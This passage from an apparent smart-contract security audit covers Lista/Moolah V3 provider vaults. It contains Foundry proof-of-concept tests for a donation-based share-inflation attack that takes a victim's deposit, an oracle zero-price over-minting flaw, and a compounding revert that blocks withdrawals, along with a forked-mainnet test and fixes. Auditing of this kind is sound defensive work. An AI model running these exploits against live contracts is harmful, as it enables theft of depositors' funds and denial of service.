MarketParams internal marketParams;
Id internal marketId;

function setUp() public {
    token0 = new DonationErc20("Token A", "TK0", 18);
    token1 = new DonationErc20("Token B", "TK1", 18);
    if (address(token0) > address(token1)) (token0, token1) = (token1, token0);
    loanToken = new DonationErc20("Loan", "LOAN", 18);
    wrappedNative = new DonationErc20("Wrapped Native", "WNATIVE", 18);

    ListaV3HarnessDeployer harness = new ListaV3HarnessDeployer();
    (, address npmAddress,) =
        harness.deploy(address(token0), address(token1), FEE,
ONE_TO_ONE_SQRT_PRICE_X96, address(wrappedNative));
    npm = ILocalNpm(npmAddress);

    Moolah moolahImpl = new Moolah();
    moolah = Moolah(
        address(
            new ERC1967Proxy(address(moolahImpl),
abi.encodeCall(Moolah.initialize, (admin, manager, admin, 0)))
        )
    );

    oracle = new DonationOracle();
    oracle.setPrice(address(token0), PRICE_1_USD);
    oracle.setPrice(address(token1), PRICE_1_USD);
    oracle.setPrice(address(loanToken), PRICE_1_USD);

    DonationDexAdapter adapterImpl =
        new DonationDexAdapter(address(npm), address(token0), address(token1),
FEE, address(wrappedNative));
    adapter = DonationDexAdapter(
        payable(new ERC1967Proxy(
            address(adapterImpl),
abi.encodeCall(DonationDexAdapter.initialize, (admin, manager))
        ))
    );

    DonationProvider providerImpl = new DonationProvider(address(moolah),
address(adapter));
```

```
provider = DonationProvider(  
    payable(new ERC1967Proxy(  
        address(providerImpl),  
        abi.encodeCall(  
            DonationProvider.initialize,  
            (admin, manager, bot, address(oracle), address(token1),  
            "Donation vLP", "dvLP")  
        )  
    ))  
);  
  
vm.prank(admin);  
adapter.setProvider(address(provider));  
  
V3ProviderOracle providerOracleImpl =  
    new V3ProviderOracle(address(adapter), address(provider),  
    address(token0), address(token1));  
providerOracle = V3ProviderOracle(  
    payable(new ERC1967Proxy(  
        address(providerOracleImpl),  
        abi.encodeCall(V3ProviderOracle.initialize, (admin, manager,  
    address(oracle), uint256(0)))  
    ))  
);  
  
marketParams = MarketParams({  
    loanToken: address(loanToken),  
    collateralToken: address(provider),  
    oracle: address(providerOracle),  
    irm: address(0),  
    lltv: LLTV  
});  
marketId = marketParams.id();  
  
vm.startPrank(manager);  
moolah.enableIrm(address(0));  
moolah.enableLltv(LLTV);  
vm.stopPrank();  
moolah.createMarket(marketParams);  
vm.prank(manager);  
moolah.setProvider(marketId, address(provider), true);  
  
_fundAndApprove(attacker, 1_000 ether, 1_000 ether);  
_fundAndApprove(victim, 100 ether, 100 ether);  
}  
  
function  
test_directNftLiquidityDonationInflatesOneWeiShareAndStealsVictimDeposit() public {  
    uint256 seedShares = _depositExisting(attacker, 1 ether, 1 ether);
```

```
vm.prank(attacker);
provider.withdraw(marketParams, seedShares - 1, 0, 0, attacker, attacker);

(, , uint128 attackerCollateralAfterDust) = moolah.position(marketId,
attacker);
assertEq(attackerCollateralAfterDust, 1, "attacker keeps one share wei");
assertEq(provider.totalSupply(), 1, "vault supply compressed to one share
wei");

uint256 attackerValueBeforeDonation = _walletValue(attacker);

_donateLiquidityToAdapterNft(75 ether, 75 ether);

uint256 victimShares = _depositExisting(victim, 100 ether, 100 ether);
(, , uint128 victimCollateral) = moolah.position(marketId, victim);

assertEq(victimCollateral, victimShares, "victim shares supplied to
Moolah");
assertEq(victimShares, 1, "victim receives one share wei for a 200-token
deposit");
assertEq(provider.totalSupply(), 2, "attacker and victim now each own one
share wei");

vm.prank(attacker);
provider.withdraw(marketParams, 1, 0, 0, attacker, attacker);

uint256 attackerValueAfter = _walletValue(attacker);
uint256 profit = attackerValueAfter - attackerValueBeforeDonation;

emit log_named_uint("attacker profit in token units", profit);
emit log_named_uint("victim shares minted", victimShares);

assertGt(profit, 10 ether, "attacker profits from the victim deposit after
recovering the donation");
}

function _fundAndApprove(address account, uint256 amount0, uint256 amount1)
internal {
    token0.mint(account, amount0);
    token1.mint(account, amount1);

    vm.startPrank(account);
    token0.approve(address(provider), type(uint256).max);
    token1.approve(address(provider), type(uint256).max);
    token0.approve(address(npm), type(uint256).max);
    token1.approve(address(npm), type(uint256).max);
    vm.stopPrank();
}
```

```
function _depositExisting(address account, uint256 amount0, uint256 amount1)
internal returns (uint256 shares) {
    vm.prank(account);
    (shares,,) = provider.deposit(marketParams, amount0, amount1, amount0,
amount1, account);
}

function _donateLiquidityToAdapterNft(uint256 amount0, uint256 amount1) internal
{
    uint256 tokenId = adapter.tokenId();

    vm.prank(attacker);
    npm.increaseLiquidity(
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0,
            amount1Desired: amount1,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        })
    );
}

function _walletValue(address account) internal view returns (uint256) {
    return token0.balanceOf(account) + token1.balanceOf(account);
}
}
```

## Recommendation

- Mint a fixed amount of unredeemable "dead" shares during contract initialization or with the first deposit to ensure that the total share supply cannot be compressed below a safe threshold, thereby preventing disproportionate share rounding in future deposits.
- Modify the vault and adapter logic to strictly track the liquidity contributed exclusively by the vault, so only this tracked liquidity is used for share issuance calculations. For NAV and share-minting operations, calculate position value using the lesser of tracked (vault-contributed) liquidity and the actual position liquidity, ensuring that third-party liquidity donations (via permissionless increaseLiquidity) do not inflate the reported NAV or dilute future depositor shares.



## LDV-04 | V3Provider Share Minting Does Not Reject Zero Leg Prices

| Category                     | Severity | Location                                                                                                              | Status  |
|------------------------------|----------|-----------------------------------------------------------------------------------------------------------------------|---------|
| Logical Issue, Inconsistency | Minor    | src/provider/v3/V3Provider.sol (06/26-110544): 234, 422~426; src/provider/v3/V3ProviderOracle.sol (06/26-110544): 139 | Pending |

### Description

`V3ProviderOracle.peak()` rejects a zero price for either V3 position leg before returning a provider share price. However, `V3Provider` uses a separate internal valuation helper, `_amountsValueUsd()`, when minting new shares in `deposit()` and when reporting ERC4626 `totalAssets()`. That helper does not reject `price0 == 0` or `price1 == 0`.

If the resilient oracle returns zero for only one leg while the other leg remains priced, existing vault NAV can be partially valued instead of rejected. During a deposit into a non-empty vault, this can make `totalValueBefore` lower than the real position value, allowing the depositor to receive more provider shares than intended. The issue requires an abnormal or broken oracle response for exactly one leg and does not affect Moolah's collateral oracle path, which already reverts on zero leg prices.

### Vulnerability Detail

The share oracle used by Moolah applies strict zero-price validation. When pricing the provider share, it fetches both token leg prices and reverts if either one is zero.

```
// File: src/provider/v3/V3ProviderOracle.sol
// Lines 137-142
uint256 price0 = IOracle(resilientOracle).peek(TOKEN0); // 8 decimals (rate-
derived for the LST leg)
uint256 price1 = IOracle(resilientOracle).peek(TOKEN1); // 8 decimals
if (price0 == 0 || price1 == 0) revert ZeroPrice(); // finding D

uint256 totalValue = (total0 * price0) / (10 ** DECIMALS0) + (total1 * price1) /
(10 ** DECIMALS1);
if (totalValue == 0) revert ZeroPrice(); // finding D
```

`V3Provider.deposit()` computes the old vault value and the new deposit value through `_amountsValueUsd()`.

```
// File: src/provider/v3/V3Provider.sol
// Lines 229-235
uint256 totalValueBefore;
uint256 supplyBefore = totalSupply();
uint160 fairSqrtPriceX96 = IV3DexAdapter(ADAPTER).fairSqrtPriceX96();
if (supplyBefore > 0) {
    (uint256 total0Before, uint256 total1Before) =
    IV3DexAdapter(ADAPTER).positionAmountsAt(fairSqrtPriceX96);
    totalValueBefore = _amountsValueUsd(total0Before, total1Before);
    if (totalValueBefore == 0) revert ZeroShares();
}
```

After adding liquidity, the same helper is used to value the new liquidity and calculate minted shares.

```
// File: src/provider/v3/V3Provider.sol
// Lines 256-263
(uint256 added0, uint256 added1) =
IV3DexAdapter(ADAPTER).amountsForLiquidity(liquidityAdded, fairSqrtPriceX96);
uint256 addedValue = _amountsValueUsd(added0, added1);
if (supplyBefore == 0) {
    uint256 assetPrice = IOracle(resilientOracle).peek(asset()); // 8 decimals
    if (assetPrice > 0) shares = (addedValue * (10 **
uint256(accountingAssetDecimals))) / assetPrice;
} else {
    shares = (addedValue * supplyBefore) / totalValueBefore;
}
```

The helper only fetches both prices and adds the two valued legs. It does not reject a zero price for either leg.

```
// File: src/provider/v3/V3Provider.sol
// Lines 421-425
/// @dev Value token0/token1 amounts as 8-decimal USD through the resilient
oracle.
function _amountsValueUsd(uint256 amount0, uint256 amount1) internal view returns
(uint256) {
    uint256 price0 = IOracle(resilientOracle).peek(TOKEN0); // 8 decimals
    uint256 price1 = IOracle(resilientOracle).peek(TOKEN1); // 8 decimals
    return (amount0 * price0) / (10 ** DECIMALS0) + (amount1 * price1) / (10 **
DECIMALS1);
}
```

This means the zero-total guard in `deposit()` only catches the case where both legs are effectively valued at zero. It does not catch the case where one leg is unpriced and the other leg is still priced.

For example:

1. The vault already holds a V3 position worth \$200: \$100 in `TOKEN0` and \$100 in `TOKEN1`.
2. The resilient oracle temporarily returns `price0 == 0` and a valid `price1`.
3. `_amountsValueUsd(total0Before, total1Before)` values the old vault at only \$100.

4. A depositor adds \$100 of priced-side value.
5. For a non-empty vault, shares are minted as  $\text{addedValue} * \text{supplyBefore} / \text{totalValueBefore}$ .
6. The depositor can receive roughly  $\text{supplyBefore}$  shares for a \$100 deposit, even though the real post-deposit vault value is \$300.

Once the missing price recovers, the over-minted shares represent a larger claim on the full vault than the depositor paid for. This dilutes existing share holders.

The same lenient helper is also used by ERC4626 `totalAssets()`.

```
// File: src/provider/v3/V3Provider.sol
// Lines 407-418
function totalAssets() public view override returns (uint256) {
    uint256 assetPrice = IOracle(resilientOracle).peek(asset()); // 8 decimals
    if (assetPrice == 0) return 0;
    return (_positionValueUsd() * (10 ** uint256(accountingAssetDecimals))) /
assetPrice;
}

/// @dev Total position value in 8-decimal USD at the adapter's fair price.
function _positionValueUsd() internal view returns (uint256) {
    (uint256 total0, uint256 total1) = IV3DexAdapter(ADAPTER).positionAmountsAt(
        IV3DexAdapter(ADAPTER).fairSqrtPriceX96()
    );
    return _amountsValueUsd(total0, total1);
}
```

That path is less critical because the standard single-asset ERC4626 entry points are disabled, but it can still expose misleading NAV to integrations that read ERC4626 views directly.

`SlisBNBV3Provider.getUserBalanceInBnb()` has a related zero-price consistency gap. It reads `price0`, `price1`, and `bnbPrice` directly. If one leg price is zero, user balances can be understated; if `bnbPrice` is zero, the call reverts due to division by zero.

```
// File: src/provider/v3/SlisBNBV3Provider.sol
// Lines 85-91
uint256 price0 = IOracle(resilientOracle).peek(TOKEN0); // 8-decimal USD
uint256 price1 = IOracle(resilientOracle).peek(TOKEN1); // 8-decimal USD
uint256 bnbPrice = IOracle(resilientOracle).peek(BNB_ADDRESS); // 8-decimal USD

uint256 value0 = (user0 * price0 * 1e18) / (10 ** DECIMALS0);
uint256 value1 = (user1 * price1 * 1e18) / (10 ** DECIMALS1);
return (value0 + value1) / bnbPrice;
```

## Impact

If one token leg's oracle price temporarily returns zero while the other leg remains valid, deposits into a non-empty `V3Provider` can mint too many shares because `totalValueBefore` is partially undervalued. The excess shares dilute existing share holders and can later be redeemed against the full position once oracle pricing is restored.

## Recommendation

Use strict zero-price validation consistently across all provider-side valuation paths. In `V3Provider._amountsValueUsd()`, revert if either token leg price is zero before returning a value.

## LDV-05 | Single-Sided Compound Can Revert With Zero Liquidity And Brick Deposit / Withdraw / Redeem

| Category          | Severity | Location                                                          | Status  |
|-------------------|----------|-------------------------------------------------------------------|---------|
| Denial of Service | Minor    | src/provider/v3/V3DexAdapter.sol (06/26-110544): 499~500, 506~517 | Pending |

### Description

`V3DexAdapter._collectAndCompound()` reinvests the position's collected fees plus tracked idle inventory by calling `increaseLiquidity(..., amount0Min = 0, amount1Min = 0)`, but it does not guard against the underlying `pool.mint` computing **zero liquidity**. When the amount to compound is single-sided for the current pool price and range — one of `fees` + `idle` is exactly zero on the token the price requires — the PancakeSwap/Uniswap V3 position manager reverts (`pool.mint` requires a non-zero liquidity delta). Because `collectAndCompound()` runs at the very start of every user-facing `deposit()`, `withdraw()`, and `redeemShares()`, that revert bubbles up and reverts the entire call, a temporary liveness failure on the core entry/exit paths (and, for `redeemShares`, on the atomic liquidation path).

### Vulnerability Detail

`_collectAndCompound()` collects owed fees, adds tracked idle, and reinvests with zero minimums. Its only early-out is when **both** sides are zero; a single-sided amount proceeds into `increaseLiquidity`.

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 499-523
function _collectAndCompound() internal {
    if (tokenId == 0) return;

    (uint256 fees0, uint256 fees1) = V3PositionLib.collectAll(POSITION_MANAGER,
tokenId);

    uint256 toCompound0 = fees0 + idleToken0;
    uint256 toCompound1 = fees1 + idleToken1;
    if (toCompound0 == 0 && toCompound1 == 0) return;

    (uint128 liquidityAdded, uint256 used0, uint256 used1) =
V3PositionLib.increaseLiquidity(
    POSITION_MANAGER,
    TOKEN0,
    TOKEN1,
    tokenId,
    toCompound0,
    toCompound1,
    0,
    0
    );

    idleToken0 = toCompound0 - used0;
    idleToken1 = toCompound1 - used1;

    emit Compounded(toCompound0, toCompound1, liquidityAdded);
}
```

`V3PositionLib.increaseLiquidity` forwards straight to the position manager with no zero-liquidity guard:

```
// File: src/provider/libraries/V3PositionLib.sol
// Lines 63-85
function increaseLiquidity(
    INonfungiblePositionManager npm,
    address token0,
    address token1,
    uint256 tokenId,
    uint256 amount0Desired,
    uint256 amount1Desired,
    uint256 amount0Min,
    uint256 amount1Min
) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
    IERC20(token0).safeIncreaseAllowance(address(npm), amount0Desired);
    IERC20(token1).safeIncreaseAllowance(address(npm), amount1Desired);
    return
        npm.increaseLiquidity(
            INonfungiblePositionManager.IncreaseLiquidityParams({
                tokenId: tokenId,
                amount0Desired: amount0Desired,
                amount1Desired: amount1Desired,
                amount0Min: amount0Min,
                amount1Min: amount1Min,
                deadline: block.timestamp
            })
        );
}
```

## The V3 mechanic

The position manager derives the minted liquidity from the current pool spot price relative to the fixed tick range: `liquidity = getLiquidityForAmounts(slot0.sqrtPriceX96, sqrtLower, sqrtUpper, amount0Desired, amount1Desired)`.

- **In range:** `liquidity = min(L(amount0), L(amount1))`. If one desired amount is exactly 0, that side's `L` is 0, so `liquidity = 0`.
- **Above the range:** liquidity is derived from token1 only — `liquidity = 0` if `amount1 == 0`.
- **Below the range:** liquidity is derived from token0 only — `liquidity = 0` if `amount0 == 0`.

`pool.mint(...)` reverts on a zero liquidity delta (`require(amount > 0)`). Since the managed range is rate-centered  $\pm 1\%$  and the pool spot is arbitrated toward the rate, the spot is normally **in range**, so a single-sided `toCompound` (one token exactly 0) reverts.

## How a single side reaches exactly zero

`idleToken0/1` are set to `total - used` after every compound and rebalance (`V3DexAdapter.sol:384-385`, `519-520`). A compound consumes the limiting token fully, so the idle of that token is driven to zero (or a 1-wei rounding remainder). If, before the next compound, no fee accrues on that token (`fees == 0`, e.g. a quiet pool or a run of one-directional swaps),



then `toCompound` for that token is exactly `0` and the next `deposit` / `withdraw` / `redeemShares` reverts inside `_collectAndCompound`.

The user-facing callers all invoke it before their own logic:

```
// src/provider/v3/V3Provider.sol
// deposit()      -> IV3DexAdapter(ADAPTER).collectAndCompound(); (line 227)
// withdraw()     -> IV3DexAdapter(ADAPTER).collectAndCompound(); (line 299)
// redeemShares() -> IV3DexAdapter(ADAPTER).collectAndCompound(); (line 359)
```

An attacker can additionally position the pool spot **out of range** toward the side that needs the absent token to force the zero-liquidity revert in a sandwich of a targeted user's transaction, and/or arrange the preceding compound so one idle side lands on zero. Note the precondition (one side of `fees + idle` exactly `0`) is rounding-dependent — a 1-wei remainder on both sides keeps `min(L0, L1) > 0` and avoids the revert — so this is an opportunistic liveness edge rather than a deterministic, always-available griefing primitive.

## Impact

- **DoS of core paths:** while the single-sided-zero state holds, `V3Provider.deposit()`, `withdraw()`, and `redeemShares()` revert inside `_collectAndCompound` before doing any of the caller's work. Users cannot enter or exit until a swap accrues a fee on the missing side, a keeper rebalances, or the idle composition otherwise changes.

## Proof of Concept

Implemented as `test_FID06_singleSidedCompound_zeroLiquidityReverts_andSelfHeals` in `test/provider/audit/SlisBNBV3ProviderAudit.t.sol` (BSC fork against the live PancakeSwap V3 slisBNB/WBNB 1bp pool).

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {SlisBNBV3Provider} from "../../src/provider/v3/SlisBNBV3Provider.sol";
import {SlisBNBV3DexAdapter} from
"../../src/provider/v3/SlisBNBV3DexAdapter.sol";
import {SlisBNBV3ProviderOracle} from
"../../src/provider/v3/SlisBNBV3ProviderOracle.sol";
import {V3ProviderOracle} from "../../src/provider/v3/V3ProviderOracle.sol";
import {V3Provider} from "../../src/provider/v3/V3Provider.sol";
import {SlisBNBxMinter, ISlisBNBx} from "../../src/utils/SlisBNBxMinter.sol";
import {IStakeManager} from "../../src/provider/interfaces/IStakeManager.sol";
import {IListaV3Pool} from "lista-v3/core/interfaces/IListaV3Pool.sol";
import {IV3PoolMinimal} from "../../src/provider/interfaces/IV3PoolMinimal.sol";
import {Moolah} from "../../src/moolah/Moolah.sol";
import {MarketParams, Id} from "moolah/interfaces/IMoolah.sol";
import {MarketParamsLib} from "moolah/libraries/MarketParamsLib.sol";

contract PoolSwapHarness {
    uint160 internal constant MIN_SQRT_RATIO = 4295128739;
    uint160 internal constant MAX_SQRT_RATIO =
1461446703485210103287273052203988822378723970342;

    /// @param zeroForOne true → token0 in / token1 out (price down); false → token1
in / token0 out (price up).
    function swapExactIn(address pool, bool zeroForOne, uint256 amountIn) external {
        uint160 limit = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;
        IListaV3Pool(pool).swap(address(this), zeroForOne, int256(amountIn), limit,
abi.encode(pool));
    }

    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes
calldata data) external {
        _pay(amount0Delta, amount1Delta, data);
    }

    function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes
calldata data) external {
        _pay(amount0Delta, amount1Delta, data);
    }

    function _pay(int256 amount0Delta, int256 amount1Delta, bytes calldata data)
internal {
```

```
        address pool = abi.decode(data, (address));
        if (amount0Delta > 0) IERC20(IListaV3Pool(pool).token0()).transfer(msg.sender,
uint256(amount0Delta));
        if (amount1Delta > 0) IERC20(IListaV3Pool(pool).token1()).transfer(msg.sender,
uint256(amount1Delta));
    }
}

interface IPancakeV3SwapRouter {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    function exactInputSingle(ExactInputSingleParams calldata params) external payable
returns (uint256 amountOut);
}

contract SlisBNBV3ProviderAuditTest is Test {
    using MarketParamsLib for MarketParams;

    /* ----- PancakeSwap V3 slisBNB/WBNB 1bp (live) ----- */
    /*
    address constant POOL = 0xe1B404Aaf60eEc5c8A1FEDE7dcDC0EAb9C69662F;
    address constant NPM = 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364;
    uint24 constant FEE = 100;

    /* ----- tokens (live) ----- */
    address constant SLISBNB = 0xB0b84D294e0C75A6abe60171b70edEb2EFd14A1B; // token0
    address constant WBNB = 0xbb4CdB9cBd36B01bD1cBaEBF2De08d9173bc095c; // token1
    address constant STAKE_MANAGER = 0x1adB950d8bB3dA4bE104211D5AB038628e477fE6; //
real slisBNB StakeManager
    address constant BNB_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeEeeeeEeeeeeeeeEEe;
    address constant SLISBNBX = 0x4b30fcAA7945fE9fDEFD2895aae539ba102Ed6F6;
    address constant SLISBNBX_ADMIN = 0x702115D6d3Bbb37F407aae4dEc9d09980e28ebc;

    /* ----- Moolah ecosystem (live) ----- */
    address constant MOOLAH_PROXY = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
    address constant TIMELOCK = 0x07D274a68393E8b8a2CCf19A2ce4Ba3518735253;
    address constant OPERATOR = 0xd7e38800201D6a42C408Bf79d8723740C4E7f631;
    address constant MANAGER_ADDR = 0x8d388136d578dCD791D081c6042284CED6d9B0c6;
    address constant LISUSD = 0x0782b6d8c4551B9760e74c0545a9bCD90bdc41E5;
    address constant IRM = 0xFE7dAe87Ebb11a7BEB9F534BB23267992d9cDe7c;
```

```
/// @dev Production resilient oracle (rate-derives the slisBNB leg from the same
StakeManager rate).
address constant MULTI_ORACLE = 0xf3afD82A4071f272F403dC176916141f44E6c750;

uint32 constant TWAP_PERIOD = 1800; // 30 minutes
uint256 constant LLTV = 70 * 1e16;

/* _____ contracts under audit _____ */
Moolah moolah;
SlisBNBV3Provider provider;
SlisBNBV3DexAdapter adapter;
SlisBNBV3ProviderOracle providerOracle;
SlisBNBXMinter slisBNBXMinter;
PoolSwapHarness swapHarness;

MarketParams marketParams;
Id marketId;

/* _____ test accounts _____ */
address admin = makeAddr("admin");
address manager = makeAddr("manager");
address bot = makeAddr("bot");
address user = makeAddr("user");
address user2 = makeAddr("user2");

/* _____ setUp _____ */

function setUp() public {
    vm.createSelectFork(vm.envString("BSC_RPC"), 108373268);

    // 1) DEX adapter (NFT custodian + all NPM/pool interaction).
    SlisBNBV3DexAdapter adapterImpl = new SlisBNBV3DexAdapter(NPM, SLISBNB, WBNB,
FEE, TWAP_PERIOD);
    adapter = SlisBNBV3DexAdapter(
        payable(new ERC1967Proxy(address(adapterImpl),
abi.encodeCall(SlisBNBV3DexAdapter.initialize, (admin, manager))))
    );

    // 2) Provider / vault (ERC-4626 vLP shares + Moolah wiring). accountingAsset =
WBNB.
    // resilientOracle = the PRODUCTION multiOracle – no mock.
    SlisBNBV3Provider provImpl = new SlisBNBV3Provider(MOOLAH_PROXY,
address(adapter));
    provider = SlisBNBV3Provider(
        payable(
            new ERC1967Proxy(
                address(provImpl),
                abi.encodeCall(
                    SlisBNBV3Provider.initialize,
```

```
(admin, manager, bot, MULTI_ORACLE, WBNB, "SlisBNBV3Provider
slisBNB/WBNB", "v3LP-slisBNB-WBNB")
    )
    )
    )
);

// 3) Wire adapter → provider (one-time, admin).
vm.prank(admin);
adapter.setProvider(address(provider));

// 3.1) Wire provider → real SlisBNBxMinter implementation, with this provider
registered as a module.
slisBNBxMinter = _deploySlisBNBxMinter();
vm.prank(manager);
provider.setSlisBNBxMinter(address(slisBNBxMinter));

// 4) Share oracle (Moolah market.oracle points here); it too reads the
production multiOracle.
SlisBNBV3ProviderOracle oracleImpl = new
SlisBNBV3ProviderOracle(address(adapter), address(provider), SLISBNB, WBNB);
providerOracle = SlisBNBV3ProviderOracle(
    payable(
        new ERC1967Proxy(
            address(oracleImpl),
            abi.encodeCall(V3ProviderOracle.initialize, (admin, manager, MULTI_ORACLE,
uint256(0)))
        )
    )
);

// Upgrade Moolah to the latest local implementation (core, not a mock).
address newImpl = address(new Moolah());
vm.prank(TIMELOCK);
UUPSUpgradeable(MOOLAH_PROXY).upgradeToAndCall(newImpl, bytes(""));
moolah = Moolah(MOOLAH_PROXY);

// Build a fresh Moolah market: collateral = provider shares, oracle =
providerOracle.
marketParams = MarketParams({
    loanToken: LISUSD,
    collateralToken: address(provider),
    oracle: address(providerOracle),
    irm: IRM,
    lltv: LLTV
});
marketId = marketParams.id();

vm.prank(OPERATOR);
moolah.createMarket(marketParams);
```

```
vm.prank(MANAGER_ADDR);
moolah.setProvider(marketId, address(provider), true);

// Seed the market with lisUSD so borrow tests can draw liquidity.
deal(LISUSD, address(this), 2_000_000 ether);
IERC20(LISUSD).approve(MOOLAH_PROXY, 2_000_000 ether);
moolah.supply(marketParams, 2_000_000 ether, 0, address(this), "");

swapHarness = new PoolSwapHarness();
}

/* ----- helper fns ----- */

/// @dev Fund `_user` with real slisBNB/WBNB (via `deal`) and deposit both legs
with tight, preview-
///      derived slippage guards (never zeros).
function _deposit(
    address _user,
    uint256 amount0,
    uint256 amount1
) internal returns (uint256 shares, uint256 used0, uint256 used1) {
    deal(SLISBNB, _user, amount0);
    deal(WBNB, _user, amount1);
    (, uint256 exp0, uint256 exp1) = provider.previewDepositAmounts(amount0,
amount1);
    uint256 min0 = (exp0 * 999) / 1000;
    uint256 min1 = (exp1 * 999) / 1000;
    vm.startPrank(_user);
    IERC20(SLISBNB).approve(address(provider), amount0);
    IERC20(WBNB).approve(address(provider), amount1);
    (shares, used0, used1) = provider.deposit(marketParams, amount0, amount1, min0,
min1, _user);
    vm.stopPrank();
}

/// @dev Stake real native BNB through the LIVE StakeManager, returning the
slisBNB minted to `_user`.
function _stakeRealBNB(address _user, uint256 bnbAmount) internal returns (uint256
slisOut) {
    vm.deal(_user, bnbAmount);
    uint256 balBefore = IERC20(SLISBNB).balanceOf(_user);
    vm.prank(_user);
    IStakeManager(STAKE_MANAGER).deposit{value: bnbAmount}();
    slisOut = IERC20(SLISBNB).balanceOf(_user) - balBefore;
}

function _collateral(address _user) internal view returns (uint256 col) {
    (, col) = moolah.position(marketId, _user);
}
```

```
function _debtShares(address _user) internal view returns (uint128 borrowShares) {
    (, borrowShares,) = moolah.position(marketId, _user);
}

function _deploySlisBNBxMinter() internal returns (SlisBNBxMinter minter) {
    address[] memory modules = new address[](1);
    modules[0] = address(provider);

    SlisBNBxMinter.ModuleConfig[] memory configs = new SlisBNBxMinter.ModuleConfig[]
(1);
    configs[0] = SlisBNBxMinter.ModuleConfig({
        discount: 2e4, // 2%
        feeRate: 3e4, // 3%
        moduleAddress: address(provider)
    });

    SlisBNBxMinter impl = new SlisBNBxMinter(SLISBNBX);
    ERC1967Proxy proxy = new ERC1967Proxy(
        address(impl),
        abi.encodeWithSelector(SlisBNBxMinter.initialize.selector, admin, manager,
modules, configs)
    );
    minter = SlisBNBxMinter(address(proxy));

    // Give the fee bucket enough capacity and authorize the minter to mint the live
slisBNBx token.
    address mpc = makeAddr("mpc");
    vm.prank(manager);
    minter.addMPCWallet(mpc, 1_000_000_000 ether);

    vm.prank(SLISBNBX_ADMIN);
    ISlisBNBx(SLISBNBX).addMinter(address(minter));
}

function _borrow(address _user, uint256 assets) internal {
    vm.prank(_user);
    moolah.borrow(marketParams, assets, 0, _user, _user);
}

function _manipulatePoolUp(uint256 amountIn) internal {
    deal(WBNB, address(swapHarness), amountIn);
    swapHarness.swapExactIn(POOL, false, amountIn); // token1 (WBNB) in → price up
}

function _tick() internal view returns (int24 tick) {
    (, tick) = IV3PoolMinimal(POOL).slot0();
}
```



```
/* _____ FID_06: single-sided compound reverts with zero liquidity
_____ */

// V3DexAdapter storage (all inherited OZ v5 bases use ERC-7201 namespaced
storage, so the adapter's
// own vars start at slot 0): provider=slot0, tokenId=slot1, tickLower/tickUpper
packed in slot2,
// idleToken0=slot3, idleToken1=slot4. The writes below are self-validated against
the public getters.
uint256 constant SLOT_IDLE0 = 3;
uint256 constant SLOT_IDLE1 = 4;

function test_FID06_singleSidedCompound_zeroLiquidityReverts_andSelfHeals() public
{
    // Establish the managed NFT position and confirm the pool spot is in range
(normal, arbitrated state).
    _deposit(user, 50 ether, 50 ether);
    assertGt(adapter.tokenId(), 0, "position exists");
    int24 spot = _tick();
    assertTrue(spot > adapter.tickLower() && spot < adapter.tickUpper(),
"precondition: pool spot in range");

    // Back the adapter with real inventory so the ONLY possible revert is the zero-
liquidity check
    // (which fires in pool.mint before any token pull), never an insufficient-
balance transfer.
    deal(SLISBNB, address(adapter), IERC20(SLISBNB).balanceOf(address(adapter)) + 2
ether);
    deal(WBNB, address(adapter), IERC20(WBNB).balanceOf(address(adapter)) + 2
ether);

    // No swaps route through the fresh position in this test, so collectAll()
returns 0 fees; the
    // compound therefore sees toCompound == idle. Force a single-sided idle: token0
> 0, token1 == 0.
    vm.store(address(adapter), bytes32(SLOT_IDLE0), bytes32(uint256(1 ether)));
    vm.store(address(adapter), bytes32(SLOT_IDLE1), bytes32(uint256(0)));
    // Self-validate the storage layout: if slots 3/4 were not idle0/idle1 these
getters would not match.
    require(adapter.idleToken0() == 1 ether && adapter.idleToken1() == 0, "idle slot
layout mismatch");

    deal(SLISBNB, user2, 10 ether);
    deal(WBNB, user2, 10 ether);

    // Case A – single-sided toCompound (token1 == 0): the deposit's leading
collectAndCompound() calls
    // increaseLiquidity(1e18, 0, 0, 0); in range that is min(L0>0, L1=0) = 0
liquidity → pool.mint reverts
    // → the entire deposit reverts.
    vm.startPrank(user2);
```

```
IERC20(SLISBNB).approve(address(provider), 10 ether);
IERC20(WBNB).approve(address(provider), 10 ether);
vm.expectRevert();
provider.deposit(marketParams, 10 ether, 10 ether, 0, 0, user2);
vm.stopPrank();

// Case B – add a 1-wei remainder to the zero side. Now toCompound == (1e18, 1):
min(L0, L1(1 wei)) > 0,
// the compound mints a tiny amount of liquidity, and the identical deposit
succeeds. The single
// rounding-wei flipping revert-success confirms the failure is the zero-
liquidity path.
vm.store(address(adapter), bytes32(SLOT_IDLE1), bytes32(uint256(1)));
require(adapter.idleToken1() == 1, "idle1 = 1 wei");

vm.startPrank(user2);
(uint256 shares, ) = provider.deposit(marketParams, 10 ether, 10 ether, 0, 0,
user2);
vm.stopPrank();
assertGt(shares, 0, "with 1 wei on the previously-zero side the compound
succeeds and the deposit mints shares");
}
}
```

Test result:

```
Ran 1 test for
test/provider/audit/SlisBNBV3ProviderAudit.t.sol:SlisBNBV3ProviderAuditTest
[PASS] test_FID06_singleSidedCompound_zeroLiquidityReverts_andSelfHeals() (gas:
2986524)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.03s (7.65s CPU time)

Ran 1 test suite in 10.03s (10.03s CPU time): 1 tests passed, 0 failed, 0 skipped (1
total tests)
```

## Recommendation

